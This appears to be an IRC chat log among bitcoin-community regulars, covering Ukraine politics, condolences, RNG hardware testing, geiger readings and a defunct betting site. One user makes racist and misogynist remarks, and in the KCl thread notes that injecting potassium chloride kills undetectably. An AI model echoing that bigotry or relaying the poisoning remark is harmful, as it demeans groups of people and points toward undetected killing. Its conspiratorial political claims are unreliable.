? 1643153;1492107434;asciilifeform;psaki ? 1643154;1492107443;mircea_popescu;i confess i have trouble retaioning the names of all these c list starlets 1643155;1492107448;mircea_popescu;asciilifeform nah 1643156;1492107509;asciilifeform;in other lulz, bitbet.us '...is no more, for what he thought was h2o, was h2so4' 1643157;1492107526;mircea_popescu;o btw, no more visa free travel in eu for ustards. 1643158;1492107526;asciilifeform;( http://archive.is/fJuR7 << expert entomologists only ! ) 1643159;1492107564;asciilifeform;'...for all the bad rep Mircea Popescu gets (trolling, narcissist and an asshole in general), his websites are trustworthy, never been hacked and works.' << lel 1643160;1492107640;asciilifeform;'Also on #bitcoin-assets, but that place is very toxic. People on #bitcoin-assets probably have info about bitbet.us, but they aren't quite sane, so be careful.' << lolx2 1643161;1492107763;mircea_popescu;oh what the fuck was her name. 1643162;1492107790;mircea_popescu;dumb bitch, kept trying to push "orange revolution" angle and whatnot, 30 years out of date. 1643163;1492107855;Framedragger;tymoshenko? 1643164;1492107858;mircea_popescu;o look at that -- wikipedia page re "orange revolution" includes no verbiage of usg involvement ; mentions vaguely "russian nationalist groups". 1643165;1492107865;mircea_popescu;Framedragger nah, us citizen, dept of state aparatchick. 1643166;1492107885;Framedragger;ah, ok interesting heh 1643167;1492107899;asciilifeform;mircea_popescu: sorta the whole point in even having pediwikia -- so that they can have this. 1643168;1492107906;mircea_popescu;just about, yes. 1643169;1492108044;Framedragger;http://btcbase.org/log/2017-04-13#1642997 << lulzy: http://www.ecsl.cs.sunysb.edu/elibrary/linux/network/udprecv.pdf diligently follows path of recvfrom() and the likes, *quotes the lines around the bug*, but fails to notice anything bad. if you didn't know, it'd be a very nuanced thing showing that the monk is not actually a good monk 1643170;1492108044;a111;Logged on 2017-04-13 17:19 Framedragger: asciilifeform: btw udp_recvmsg() is the kernel-internal function which is vulnerable. need to check callstack of recvfrom() vs recv(), possibly only recvfrom() is vulnerable (thereby reducing set of exposed programs greatly). otherwise even more funtimes. 1643171;1492108362;mod6;nice. all of the basic tests passed. 1643172;1492108366;mod6;on to the advanced tests. 1643173;1492108379;asciilifeform;congrats mod6 1643174;1492108390;mod6;thanks alf, looking good! 1643175;1492108409;asciilifeform;mod6: stty thing worked without problems ? 1643176;1492108438;asciilifeform;( i must point out, if it doesn't , you may not get any warning, other than idiot linux kernel silently dropping bytes, e.g. 0x03 ) 1643177;1492108444;mod6;naw, I gave up on gentoo for the time being, and just used a old deb build machine i've got laying around. 1643178;1492108455;mod6;worked straight away. 1643179;1492108482;asciilifeform;it has to be done on all known unixlikes. 1643180;1492108489;asciilifeform;default is a non-8bitclean tty. 1643181;1492108494;asciilifeform;why -- ask the wreckers, not me. 1643182;1492108495;mod6;the profile i had on that gentoo machine was 'default/linux/amd64/13.0/nomultilib' and i think it was just an uber basic kernel 1643183;1492108511;asciilifeform;where did mod6 get the idea that this was a gentoo-specific thing ? 1643184;1492108526;asciilifeform;because it isn't 1643185;1492108535;mod6;i don't have that notion. just saying, that this one didn't abide. 1643186;1492108542;mod6;was the first box i tried. 1643187;1492108591;mod6;i may give some other boxen a try here at some point too. got a handfull of gentoo boxes, freebsd, openbsd, etc. 1643188;1492108626;mod6;anyway, am now collecting the fg.bin upto 1Gb. 1643189;1492108684;mircea_popescu;o btw, http://btcbase.org/log/2015-06-05#1155360 <<->> http://btcbase.org/log/2017-03-29#1634156 for the record. 1643190;1492108684;a111;Logged on 2015-06-05 18:36 mircea_popescu: "[Personal experience: I have taken on a recent high school grad (friend’s son) as an intern in my web development business. He was an above-average student in a Harvard University intro CS class and also completed AP Computer Science in high school plus an additional programming class. His current productivity is about 1/100th of a $25/hour Ukrainian or Filipino contract programmer so any wage+benefit package above 1643191;1492108684;a111;Logged on 2017-03-29 17:50 mircea_popescu: not for a fucking second. he is enabling the misbehaviour of 30yo children. i gotta do more work bitchlapping these idiot cunts into the ground because he buys them food and doesn't makle them pay for the shiot they break. 1643192;1492108687;mircea_popescu;and in other lulz : http://www.globalresearch.ca/ukraine-protests-carefully-orchestrated-the-role-of-canvas-us-financed-color-revolution-training-group/5369906 1643193;1492108702;mircea_popescu;(apparently dept of state running out of funds, reuse agitprop materiel) 1643194;1492108729;mircea_popescu;asciilifeform victoria nuland! 1643195;1492108735;asciilifeform;aaah yes! 1643196;1492109416;asciilifeform;in related lulz, https://wikileaks.org/clinton-emails/emailid/23225#efmAGIAHu 1643197;1492109930;mircea_popescu;well, sincd we're doing linking, http://readersupportednews.org/opinion2/277-75/22758-meet-the-americans-who-put-together-the-coup-in-kiev 1643198;1492109964;Framedragger;AQ for al qaida? 1643199;1492109968;mircea_popescu;yea 1643200;1492109993;Framedragger;nice. 1643201;1492109995;trinque;further down named in full 1643202;1492110275;deedbot;http://trilema.com/2017/in-case-you-were-wondering-where-all-the-worthless-nuland-drones-ended-up/ << Trilema - In case you were wondering where all the worthless Nuland drones ended up 1643203;1492110437;mircea_popescu;(the link is particularly funny for the amounts. when it comes to turkey dollars, usg is really poor. 40k here, 10k there, 5k overages accounted for --- a far cry from the "we lost one trillion dollars in 100 bills that never existed" dept of war fare.) 1643204;1492111201;mircea_popescu;anyway, on meditation there's substance to Framedragger 's protest, though perhaps not the sort he'd like. the impulse to "generosity", ie unqualified giving is how people end up in trouble / how the whole mess was engineered in the first place. when you've two oxen yoked to the same cart and one's smaller, sickly and can't pull, some people will naturally have the correct reaction to whip it to death. others will naturaly ha 1643205;1492111201;mircea_popescu;ve the suicidal reaction to "try and help it", ruining carts and setting the world on fire in the process. 1643206;1492111203;mircea_popescu;tis what it is. 1643207;1492111806;asciilifeform;in other lulz, analytical balances have, apparently, come quite a long way since the days of http://btcbase.org/log/2015-11-19#1326780 : http://nosuchlabs.com/pub/balance.jpg 1643208;1492111806;a111;Logged on 2015-11-19 02:58 asciilifeform: had an analytical balance sold for use with diamonds and rare earths 1643209;1492111876;mircea_popescu;is that a -3 gram weight ? 1643210;1492111886;asciilifeform;lolno 1643211;1492111898;mircea_popescu;shows 6.77 with a 10g + item in ? 1643212;1492111907;asciilifeform;the weight is a test standard (for some reason the box came with 2, and 1 lives in a dedicated hole in the chassis) 1643213;1492111915;mircea_popescu;oh 1643214;1492111929;mircea_popescu;and does the test measure at 10.000 ? 1643215;1492111934;asciilifeform;in fact it does. 1643216;1492111937;mircea_popescu;impressive. 1643217;1492111946;asciilifeform;chinese thing, fiddybux. 1643218;1492111951;asciilifeform;fits in shirt pocket. 1643219;1492111953;mircea_popescu;what's it use ? 1643220;1492111969;asciilifeform;same piezo as everything else? 1643221;1492111979;mircea_popescu;performance piezo chinese make huh. nice. 1643222;1492112007;asciilifeform;now unlike the $maxint mettler, this thing probably dun have a thermo-compensator; or gravimeter 1643223;1492112026;asciilifeform;but it seems to do the job. 1643224;1492112029;mircea_popescu;yeah, but it has test weights. just as good. 1643225;1492112057;asciilifeform;what i wonder is -- what this thing was intended for. 1643226;1492112064;asciilifeform;20g is too small for the dope aficionados, i imagine 1643227;1492112076;asciilifeform;( 20g is max load on this instrument ) 1643228;1492112084;mircea_popescu;no, actually 20g is plenty. 1643229;1492112099;mircea_popescu;looks like the chinese are returning the opium war favours. "here, measure your crack!" 1643230;1492112138;asciilifeform;the balances sold in american 'head shops' are typically slightly larger than this. 1643231;1492112140;asciilifeform;iirc. 1643232;1492112154;mircea_popescu;afaik most sold crack rock is 5g. 1643233;1492112158;asciilifeform;hm. 1643234;1492112161;asciilifeform;then would make sense. 1643235;1492112326;asciilifeform;( prior to buying this little tool, asciilifeform used a... prehistoric su-era hanging balance . y'know, the kind 'lady justice' has . ) 1643236;1492112373;mircea_popescu;reason us-made balances are larger being that... they're crappier, helps mask it. 1643237;1492112382;mircea_popescu;total tech reversal omg. 1643238;1492112395;*;mircea_popescu recalls the time su made "bigger" to hide "shittier" behind it. 1643239;1492112415;asciilifeform;mircea_popescu: i don't know of any us-made electronic balance 1643240;1492112429;asciilifeform;not since, idk, '70s 1643241;1492112503;asciilifeform;btw an ~accurate~ balance is a mighty useful thing to have. esp. if you deal with piles of physical objects that are nominally identical 1643242;1492112510;asciilifeform;and want to fist-pass test if this is in fact so. 1643243;1492112525;asciilifeform;(sorta physical equiv. of 'diff by file size') 1643244;1492112675;asciilifeform;( http://www.mt.com/us/en/home/products/Industrial_Weighing_Solutions/AutomPrecision/High_Precision_Weigh_Modules/WX_Weigh_Modules/WXS_Weigh_Modules/WXS205SDU15_DualRange_Weighing_Module.html << the machine mentioned in earlier thread re subj. finally found the vendor link. ) 1643245;1492112755;asciilifeform;http://media.mt.com/dam/ind/Line_Pages/WeighModules_LoadCell/High_Precision_Weigh_Modules/LP-WXS-Weigh-Module-USP2-1010x300.png/_jcr_content/renditions/cq5dam.web.1280.1280.png << is a good photo of what asciilifeform used it for 1643246;1492112801;asciilifeform;also worked great for z-axis zeroing (pick up pipette, then stab at the estimated height of the weighing platform, stepwise, until it registers ) 1643247;1492112838;mod6;!!deed http://p.bvulpes.com/pastes/3j4QZ/?raw=true 1643248;1492112845;deedbot;accepted: 1 1643249;1492112855;asciilifeform;damn. 1643250;1492112866;asciilifeform;sorry to hear this, mod6 . 1643251;1492112882;mod6;Thanks asciilifeform 1643252;1492112885;mod6;<3 1643253;1492112911;*;asciilifeform takes off hat. 1643254;1492112981;diana_coman;sorry to hear that, mod6 1643255;1492112992;mod6;Thanks diana_coman 1643256;1492113057;mircea_popescu;condoleances. 1643257;1492113107;mod6;Thank you, Mr. Popescu. 1643258;1492113194;ben_vulpes;alas mod6. my condolences as well. 1643259;1492113238;mod6;Thanks ben_vulpes. 1643260;1492113277;mod6;fwiw, I hope that wasn't a sort of spam for the deedbot. 1643261;1492113360;ben_vulpes;more like absolutely appropriate. 1643262;1492113444;mod6;Thanks. 1643263;1492113461;mod6;She went downhill pretty fast over the last 12 weeks, but her suffering is over. 1643264;1492113675;trinque;sorry to hear this mod6. 1643265;1492113699;mod6;Thanks trinque 1643266;1492113781;mod6;In other, less depressing news... 1643267;1492113798;mod6;I'm up to 361k+ and onto blk0019 1643268;1492113819;mod6;asciilifeform: I took bunch of pics while doing the basic tests of the FG. 1643269;1492113845;mod6;I'll write up something and put up the pics somewhere. making thumbnails is a pain in the ass... but will do it anyway. 1643270;1492114170;phf;mod6: my condolences 1643271;1492114211;mod6;Thanks phf 1643272;1492115293;mircea_popescu;mod6 mp-wp makes thumbs automatically! 1643273;1492115453;mod6;aha, good to know. thx :] 1643274;1492117528;mircea_popescu;!#seen znort987 1643275;1492117528;a111;2016-10-22 A fresh set of opinions on the topic would be welcome 1643276;1492117821;ben_vulpes;"goxxed!!!" 1643277;1492117926;mircea_popescu;some dude asking me on trilema. da fuck can i tell him. 1643278;1492117985;ben_vulpes;another lesson in ongoing curation of one's wot 1643279;1492118014;mircea_popescu;"it'd have actually been much better for everyone if http://btcbase.org/log/2016-03-13#1431645 ie i had actually kept the bitcoin." is an obvious thing one could say, but whatever. 1643280;1492118014;a111;Logged on 2016-03-13 21:02 ben_vulpes: "I will simply consider the matter moot." << and keep bettor funds if no receiver steps forward? 1643281;1492118488;mircea_popescu;(no, by no means the first case of "let's take republic wealth and "sell"/give it to usg". our short but rich history is littered with that sort of dorkitude, from http://btcbase.org/log-search?q=from%3Abugpowder to name your poison, which is how "taking investors" ie, allowing outsiders into the wealth even got such a bad name in the first place. the last fucking thing i want is MORE mentally stunted midgits making a profit 1643282;1492118489;mircea_popescu;in btc only to immediately turn around and put that behind the usg idiocy du jour.) 1643283;1492119465;ben_vulpes;in other constantly increasing costs of cross-referencing all of the inanity all of the time, "'ai' picks up biases from texts on which it's trained" 1643284;1492119476;ben_vulpes;a) wat, b) SURPRISE 1643285;1492119511;mircea_popescu;lol 1643286;1492119717;Framedragger;mod6: so sorry to hear that, man, my condolences. 1643287;1492119783;mircea_popescu;for the curious : condolences comes from latin, con - together, dolent, pain. 1643288;1492119801;mircea_popescu;indolent has the same root, "one who feels no pain", in the sense of the pain of being a worthless pos. like legendarily some species of africans, "not worth the whipping". 1643289;1492120179;pete_dushenski;mod6: sorry for your loss. that's tough. 1643290;1492120301;pete_dushenski;damn znort987... there was no way he was going to make his 86btc back at 1 or 2% margins was there. roi approached infinity as bitbet lost broader republican usage and support. shame. 1643291;1492120363;mircea_popescu;well, i dunno, back in the day people kept saying things about marketing or whatever. 1643292;1492120396;*;CompanionCube is very sory for mod6's loss, but at least their suffering is over. 1643293;1492120424;pete_dushenski;mircea_popescu: somehow marketing must've just added to expenses! 1643294;1492120471;mircea_popescu;i thought marketing is the only thing that adds to revenue, unlike everything else like say engineering etc, that adds to costs. 1643295;1492120485;mircea_popescu;i guess this is one of those things people say with no expectation of ever being asked to actually carry through or something. 1643296;1492120506;pete_dushenski;you've been reading too many books again, haven't you. 1643297;1492120553;mircea_popescu;i skim. 1643298;1492120868;mircea_popescu;and, of course, nubbins / the rest of the "defenders of the public interest" will now reach into their deep pockets and make that public interest whole, amirite ? 1643299;1492120931;asciilifeform;re: ^ >> want me to spin up a fresh instance lol 1643300;1492120954;mircea_popescu;i'm sure. 1643301;1492121242;Framedragger;(i'm angry with nubbins for upsetting the discourse back then, even tho i wasn't involved at all. shit like http://btcbase.org/log/2016-03-08#1426930 ; he's of a different kind entirely cf. kako in my mind.) 1643302;1492121242;a111;Logged on 2016-03-08 18:14 nubbins`: incidentally this was the idea from the start 1643303;1492121370;mircea_popescu;idealism is the notion that there exist "kinds" outside of what experience unfolds. 1643304;1492121446;mod6;Thanks Framedragger & pete_dushenski 1643305;1492121482;mod6;Thanks CompanionCube, indeed. 1643306;1492123702;shinohai;--------{---(@ <<< My condolences mod6 http://btcbase.org/log/2017-04-13#1643247 1643307;1492123702;a111;Logged on 2017-04-13 19:47 mod6: !!deed http://p.bvulpes.com/pastes/3j4QZ/?raw=true 1643308;1492124699;lobbes;I offer my condolences, as well mod6. 1643309;1492125504;BingoBoingo; or wait, bile's green is it. << Black or neon yellow depending on saturation 1643310;1492127035;mod6;shinohai, lobbes, Thank you. 1643311;1492128757;asciilifeform;in other noose, a geiger ( sbm-20 tube: sov., circa early 1980s ) tied to a 500g plastic bottle of KCl registers 0.18uSv/hr (incl. room background: 0.07 uSv/hr.) 1643312;1492128801;asciilifeform;99.99% (supposedly) synthesis-grade kcl. 1643313;1492128915;mircea_popescu;so about 0.1 huh 1643314;1492129028;asciilifeform;this is just the gamma tho 1643315;1492129046;asciilifeform;( kcl puts out a very scarce gamma per however many betas ) 1643316;1492129073;asciilifeform;very soon i will have with what to pick up the beta. 1643317;1492129148;asciilifeform;( current idea being, ZnS+optical-grade-epoxy paste spread on PIN diode. ) 1643318;1492129181;mircea_popescu;could work. 1643319;1492129200;asciilifeform;btw very same geiger parked on top of common american smoke detector (unmodified!) (am-241) -- 0.54uSv/h 1643320;1492129465;mircea_popescu;they still sell those ? 1643321;1492129474;asciilifeform;no idea 1643322;1492129480;asciilifeform;house came with a pile of'em (mandatory!) 1643323;1492129523;*;mircea_popescu has never lived in a place with smoke detectors. is a good life. 1643324;1492129539;asciilifeform;not to be confused with 'sprinklers' 1643325;1492129551;mircea_popescu;o, those either. fucking hell. 1643326;1492129553;mod6;wait, are you building your own geiger alf? 1643327;1492129563;mircea_popescu;nah he has legacy 1643328;1492129563;asciilifeform;mod6: i have a bog-standard geiger here in toolbox 1643329;1492129571;mod6;ah, ok. 1643330;1492129581;mod6;and KCl =~ Potassium Chloride? 1643331;1492129582;mircea_popescu;they're hard to calibrate in kitchen 1643332;1492129584;mircea_popescu;yes. 1643333;1492129588;asciilifeform;mod6: but contemplated experiment (see kcl thread ) is re something else 1643334;1492129621;mircea_popescu;it's a wonder they sell that, btw, considering how easy it is to kill someone with it. 1643335;1492129628;asciilifeform;mod6: the idea of 'ideal rngistor', self-contained diode+isotope, but also in such a way that $isotope is something that is sold worldwide and passes unmolested through the post etc. 1643336;1492129653;mod6;ah, sure. 1643337;1492129665;asciilifeform;mircea_popescu: with kcl ?! you'd have to stab somebody with it neh 1643338;1492129678;mircea_popescu;yeah, inject 10ml isotone, watch the heart failure. 1643339;1492129684;asciilifeform;10ml of air also kills 1643340;1492129688;mircea_popescu;not even detectable unless someone's looking specifically. 1643341;1492129696;mod6;yeah, dont they use that stuff for leathal injections? 1643342;1492129699;asciilifeform;aha 1643343;1492129742;asciilifeform;mircea_popescu: believe or not, americans ~eat~ it 1643344;1492129765;asciilifeform;( supposed to be a 'diet replacement for salt' or sumthing ) 1643345;1492129774;mircea_popescu;hey, americans eat ~everything. 1643346;1492129861;ben_vulpes;in the brief quiet, a surprising cover: https://www.youtube.com/watch?v=lyRm5kc9ZUY 1643347;1492129975;asciilifeform;meanwhile, from the dept. of liquishit, https://archive.is/zxmZA 1643348;1492130005;asciilifeform;re usg.'journalists' 'helping' snowdens, e.g., 'If you want to set up a secure way to communicate (which I think every journalist should) the best method is IM with an OTR encryption. You’ll need: a Jabber account, Pidgin IM client, and OTR plug-in.' 1643349;1492130014;asciilifeform;^ for some reason, fresh batch. 1643350;1492130023;mircea_popescu;kik 1643351;1492130035;asciilifeform;( get this -- pidgin. the thing with new 0day every 2 wks or so ) 1643352;1492130056;ben_vulpes;4 mentions of pgp 1643353;1492130057;mircea_popescu;"otr" is not very specific either. 1643354;1492130077;mircea_popescu;anyway. im terrible idea for SECURE comms. because you leak time if nothing else. 1643355;1492130084;asciilifeform;mircea_popescu: 9/10 it means the lolcow 'libotr' 1643356;1492130091;mircea_popescu;if you want to communicate securely, reg your key and pastebin encrypted stuff. 1643357;1492130112;mircea_popescu;asciilifeform even if it did, the way in which it is ductaped to the whole shebang is more important in the end. 1643358;1492130120;asciilifeform;it gets better, 1643359;1492130122;asciilifeform;'From the start, he said, their communication was flawed. Snowden had initially forgotten to provide his own PGP key, which meant that Micah’s reply couldn’t be encrypted. “Everything wasn’t perfect,” Micah said, recalling such missteps. “But there was no red flag, and I’ve gotten lots of emails from random anonymous people. I did pretty well, considering that I had no idea what the hell was going on. I kept switching a 1643360;1492130122;asciilifeform;nonymous identities. When I first talked to him, I made a new anonymous identity, and then when he got to Hong Kong, I switched. And when he left Hong Kong, I switched again.”' 1643361;1492130129;asciilifeform;get this, 'anonymous identities'. 1643362;1492130154;mircea_popescu;she's clueless, trying to say pseudonymous 1643363;1492130175;asciilifeform;nope, probably meant exactly this. 'anonymous' (in the sense of, no fixed rsa pub.) 1643364;1492130189;mod6;hello, this is dog! 1643365;1492130211;asciilifeform;'hi, it's still me, here's my new key, now let's talk'--anonderp4398598395 1643366;1492130222;mod6;just install jabber and talk to the dog, w00f! 1643367;1492130274;mircea_popescu;meanwhile at "what she should have been doing instead" ranch, http://68.media.tumblr.com/5bc80fc98bc47de87a0575b1a322db71/tumblr_o3hvmtIMT91uxdiqco1_1280.jpg 1643368;1492130307;ben_vulpes;nice rug 1643369;1492130313;mod6;haha 1643370;1492130323;mircea_popescu;ben_vulpes old country stuff. 1643371;1492130347;ben_vulpes;i grew up on prayer rugs quite like it 1643372;1492130355;ben_vulpes;older, rougher 1643373;1492130367;ben_vulpes;eventually parents bought shiny new 1643374;1492130381;ben_vulpes;palpable difference between that which came from grandpa's estate and the fresh purchases. 1643375;1492130483;asciilifeform;in classical su rug like this is 1) on floor 2) on wall (usually next to bed) 1643376;1492130577;asciilifeform;'Once the ladder ended, it was easy to climb from branch to branch up to where the material was located. A bird had built a nest on top of the sealed container. Happily, the nest was empty: breeding season had passed. We opened the container. The item was inside. We remained in the tree for a while....' 1643377;1492130587;*;asciilifeform pictures nsa goons with NJDs combing the woods 1643378;1492130608;asciilifeform;( http://trilema.com/2013/and-then-i-said-to-him-jimmy << oblig!! ) 1643379;1492130729;mircea_popescu;lel 1643380;1492131603;mircea_popescu;meanwhile in "cheap and effective pet carrier" news, http://68.media.tumblr.com/6edd44baf2da5f6359ceb6379eef268f/tumblr_o3qp6oxFhq1tvpchzo1_1280.jpg 1643381;1492131614;asciilifeform;lol! 1643382;1492131632;*;asciilifeform immediately thought 'vectored shit?!' 1643383;1492132504;deedbot;http://trilema.com/2017/hiking-inc/ << Trilema - Hiking, Inc. 1643384;1492134290;asciilifeform;police radio : '...no one was in danger. and the caller was anonymous.' 1643385;1492134459;mod6;no mosquitos!? 1643386;1492134473;mod6;im in the wrong locale. 1643387;1492134494;mod6;i just killed the first ones of the year, last weekend. which is pretty insane for Minnesota to have mosquitos /already/. 1643388;1492134500;mod6;I had my revenge though. 1643389;1492134521;mod6;It snowed on very early Tuesday morning and killed the SOBs. 1643390;1492134543;mod6;muhahaha 1643391;1492135278;mircea_popescu;i haven't yet seen one. or i think i might've seen one, that may also have been a misidentified wasp 1643392;1492135357;mircea_popescu;the variety of wasps they have here is staggering. i got TWO kinds nesting, one's a perfectly harmless paper wasp, they eat the polen off a vine growing ion the fence. the other's a mud hut building guy, i think he eats spiders. then a third really fearsome type showed up evidently praying on the first type... then later a fourth super tiny kind was discovered when one fell in my drink.... 1643393;1492135366;asciilifeform;cop 'a': 'your caller is janet. she wants to discuss... strange things with you. she says she saw strobe lights in her neighbour's house, and that he is communicating with her via... electromagnetic fields.' cop 'b' : 'yes i'm familiar with her' 1643394;1492135416;mircea_popescu;asciilifeform a good half of police work in all times, interfacing with bored / insane middle aged women. 1643395;1492135445;asciilifeform;i'd naively imagine they would 'excommunicate' these 1643396;1492135458;mircea_popescu;in functioning state entirely not up to them. 1643397;1492135475;mircea_popescu;meanwhile in home invasion news, http://68.media.tumblr.com/9142f815031afe4b548edd08528c563f/tumblr_oaz8rea7BC1uvwznco1_500.gif 1643398;1492135484;asciilifeform;i suppose dc is 'functional' then!11 1643399;1492135558;asciilifeform;'...an ar-15, a shotgun, five pistols... in bedroom closet' 1643400;1492136014;asciilifeform;'... the complainant's dog is running around the house, strangely, as if it senses someone... ' 1643401;1492136061;mircea_popescu;is this in the "we're about to break and enter and trying to pretend like no warrant is needed because probable cause" ? 1643402;1492136134;asciilifeform;apparently 1643403;1492136228;mod6;the wasps sound nasty tho ya. 1643404;1492136252;mod6;<+mircea_popescu> asciilifeform a good half of police work in all times, interfacing with bored / insane middle aged women. << did alf just flip on his scanner? 1643405;1492136255;mod6;lol 1643406;1492136322;BingoBoingo;lol https://www.reddit.com/r/Bitcoin/comments/654yzl/goxxed_by_bitbetus_lost_16_btc/ 1643407;1492136323;mircea_popescu;they're not really the attacking type. 1643408;1492136569;asciilifeform;'...25 y.o. female... took entire bottle' 1643409;1492136627;asciilifeform;'Mircea Popescu stole a large amount of BTC from BitBet.us prior to this...' << lol 1643410;1492136820;CompanionCube;lol: 'They used fake details for the domain registry. The "company" behind the domain is Polimedia which is currently in "Forfeited Existence" in Texas. The registry info has been the same even before they switched owners a year ago.' 1643411;1492136963;mircea_popescu;ahem ? 1643412;1492137001;CompanionCube;mircea_popescu: from some random redditor re: bitbet 1643413;1492137001;mircea_popescu;!#s polimedia 1643414;1492137001;a111;649 results for "polimedia", http://btcbase.org/log-search?q=polimedia 1643415;1492137010;CompanionCube;ik it's yours 1643416;1492137023;CompanionCube;you'd think they'd update the whois *eventually* 1643417;1492137030;mircea_popescu;http://btcbase.org/log/2012-08-15#-319236 1643418;1492137030;a111;Logged on 2012-08-15 19:45 mircea_popescu: smickles http://trilema.com/2012/falimentul-polimedia-srl/ there, 2011 results. the 2010 and 2009 are also published on my blog 1643419;1492137049;mircea_popescu;~nothing changed, same corp numbers etc. 1643420;1492137118;CompanionCube;unfortunately I can't read romanian. 1643421;1492137121;asciilifeform;'...94 year-old, said he was a vet..' 1643422;1492137160;mircea_popescu;CompanionCube what is this relevant to ? 1643423;1492137168;CompanionCube;the linked blog post? 1643424;1492137175;mircea_popescu;you think ? 1643425;1492137284;mircea_popescu;aanyway, let's just say this bla bla has been going on for as long as there's been an internenet. nubbins abound, and they have shit to say about things, obviously. 1643426;1492137309;mod6;<+CompanionCube> unfortunately I can't read romanian. << i used to translate trilema from .ro for, a long while before it was ever written in english. 1643427;1492137356;mircea_popescu;meanwhile on the webz, The password should not contain the invalid characters like: ', ". 1643428;1492137398;asciilifeform;'...complainant's father is hitting her... ...he has access to long guns, a shotgun, but it was not used in this incident...' << lol! 1643429;1492137479;BingoBoingo;Condolences mod6, consider submittting obituary to paper of record? 1643430;1492137506;mircea_popescu;eh, too much publicity don't you think. 1643431;1492137736;mod6;Thanks BingoBoingo 1643432;1492137776;mod6;I don't think it needs to be announced otherwise. Just my way of tribute for my folks. 1643433;1492137815;mod6;My family appreciates the outpouring of sympathy from the Republic. 1643434;1492137888;mircea_popescu;Last updated at block 461176. << is that like 3 days ago ? 1643435;1492138243;BingoBoingo; eh, too much publicity don't you think. << The option's available to the berieved lord 1643436;1492139108;mod6;wb 1643437;1492139115;mircea_popescu;ty! 1643438;1492139159;mod6;<+mircea_popescu> Last updated at block 461176. << is that like 3 days ago ? << i think trinque's node was down for repair for that wallet thing. might be behind a bit. not sure tho... 1643439;1492139198;mircea_popescu;ah yeah. 1643440;1492139222;mircea_popescu;did you ever nail that issue trinque ? 1643441;1492139581;deedbot;http://qntra.net/2017/04/bitcoin-mining-difficulty-up-4-238-to-520808749422-13983154/ << Qntra - Bitcoin Mining Difficulty Up ~4.238% To 520808749422.13983154 1643442;1492144261;hanbot;Keeping you in my thoughts mod6 1643443;1492148021;mircea_popescu;meanwhile in high performance lubrication, http://68.media.tumblr.com/3932bbda25a6fdabeef5c2c3164f8ee5/tumblr_oh3b2a4MHL1tgc11ao1_500.gif 1643444;1492150579;mod6;thanks hanbot 1643445;1492174449;mircea_popescu;meanwhile at the "sisters in focus with dicks in the background" farms, http://68.media.tumblr.com/a726cda44255b148a0a9b900f7babcd0/tumblr_ogse8xthTz1ucoif3o1_1280.jpg 1643446;1492174939;mircea_popescu;in other wins for "social justice" and just being a retard generally, pretty much every online game defaults to making your avatar brown-skinned with the next option being some sort of african black. because TOTALLY not a vast majority of white boys play these things, and there's ABSOLUTELY nothing ridiculous about a bunch of teenaged male drones going around with the equivalent of little gril pillows of themselves. 1643447;1492175510;asciilifeform;in other noose, asciilifeform set a squirrel trap on the roof but at night experienced squirrel sappers defused it and threw to the ground... 1643448;1492175561;mircea_popescu;hahaha! 1643449;1492180873;mod6;mircea_popescu: looks like the sisters are in az 1643450;1492180885;mircea_popescu;aha 1643451;1492181286;mod6;fg advanced test update: i've collected about 500Mb so far. ~half way there. 1643452;1492181409;mircea_popescu;how long's it been going ? 1643453;1492181606;mod6;eh, maybe like 18-20 hours? 1643454;1492181622;mircea_popescu;nb. 1643455;1492181846;mod6;with both of my RNG-TWs connected, it was collecting at about 7kB/s ... for that quick 10s test or so to ensure that it was a "full speed" 1643456;1492181863;mircea_popescu;aha 1643457;1492182313;trinque;http://btcbase.org/log/2017-04-14#1643440 << yep, turns out I pebkac'd, series of misunderstandings of how sendmany worked. got a tx out with double fee (0.0002), which still wasn't enough, so I've now double-spent that tx with a 0.0005 fee. 1643458;1492182313;a111;Logged on 2017-04-14 03:07 mircea_popescu: did you ever nail that issue trinque ? 1643459;1492182324;mircea_popescu;a kk 1643460;1492184572;Framedragger;doublespending double fees, this is bullish for ethereum 1643461;1492185174;asciilifeform;http://btcbase.org/log/2017-04-14#1643455 << 7K/s is indeed the rated minimal. 1643462;1492185174;a111;Logged on 2017-04-14 14:57 mod6: with both of my RNG-TWs connected, it was collecting at about 7kB/s ... for that quick 10s test or so to ensure that it was a "full speed" 1643463;1492185855;asciilifeform;in other 'news', bbet still dead!1111 1643464;1492186785;trinque;pretty sure it was dead sometime last year 1643465;1492186802;asciilifeform;trinque: for how long, do you recall ? 1643466;1492186805;trinque;!!gettrust znort987 1643467;1492186805;deedbot;L1: 0, L2: 1 by 1 connections. 1643468;1492186820;trinque;just making a general comment about the guy not having much of a wot presence 1643469;1492186831;asciilifeform;0 proper presence afaik. 1643470;1492186881;asciilifeform;znort could be literally anybody. 1643471;1492186898;asciilifeform;nothing of any interest whatsoever, is, afaik, publicly known about this character. 1643472;1492186944;mircea_popescu;did he lose his ancient keyh or not have one or what was it ? 1643473;1492186972;asciilifeform;somebody (iirc mircea_popescu, even) advanced a hypothesis, last year, that znort is a purchased key 1643474;1492186993;asciilifeform;(or confiscated, or otherwise changed hands.) 1643475;1492187023;mircea_popescu;got a link or nething ? 1643476;1492187027;trinque;can't tell him from adam, or usg.gamblingprohee 1643477;1492187029;asciilifeform;digging nao 1643478;1492187048;davout;key's in wot 1643479;1492187061;asciilifeform;http://btcbase.org/log/2016-05-01#1460232 << related lulz 1643480;1492187061;a111;Logged on 2016-05-01 17:36 mircea_popescu: asciilifeform kinda too lazy to deedbot a list of the various spots in logs where the fact that bitbet keeps no logs was discussed. seems about 99 and 3/4% that the whole point there was to create an entry point for later parallel construction, "o look what bitbet logs show". 1643481;1492187065;trinque;!!key znort987 1643482;1492187066;deedbot;http://wot.deedbot.org/9F1C2534ACEE115E18EF02A5FD5AA2A5E26602B0.asc 1643483;1492187169;mircea_popescu;how much was the pot, did anyone figure it out ? 1643484;1492187774;mircea_popescu;heh/ 1643485;1492187813;asciilifeform;mircea_popescu: https://archive.is/If4Gx 1643486;1492187882;mircea_popescu;so like 27 bets worth a few pennies each, maaaybe 5-10 btc total ? 1643487;1492187896;mircea_popescu;seems somewhat unlikely a dude that paid 100 btc for it last year would run off with 10. 1643488;1492187922;asciilifeform;maybe not so much 'ran off with' but unplugged. 1643489;1492187927;asciilifeform;'fuck it all'. 1643490;1492187947;mircea_popescu;could as well have cancelled the bets then. takes what, coupla hours. 1643491;1492187966;ben_vulpes;"modern banking is wholly owned subsidiary of usg" "what? no it's not" "yes it is: https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195" "...oh but that's different somehow" 1643492;1492187975;mircea_popescu;heh 1643493;1492187980;asciilifeform;and not '10 btc total', the new alphago one just by itself is worth ~17 btc 